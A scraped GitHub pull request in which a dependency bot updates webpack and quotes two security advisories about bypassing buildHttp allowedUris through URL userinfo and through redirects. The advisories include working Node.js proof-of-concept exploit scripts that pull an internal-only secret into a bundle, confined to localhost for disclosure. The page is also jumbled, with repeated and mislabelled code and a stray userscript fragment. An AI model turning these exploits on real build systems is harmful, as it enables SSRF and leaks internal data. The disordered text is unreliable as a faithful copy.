lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers");
}
} catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
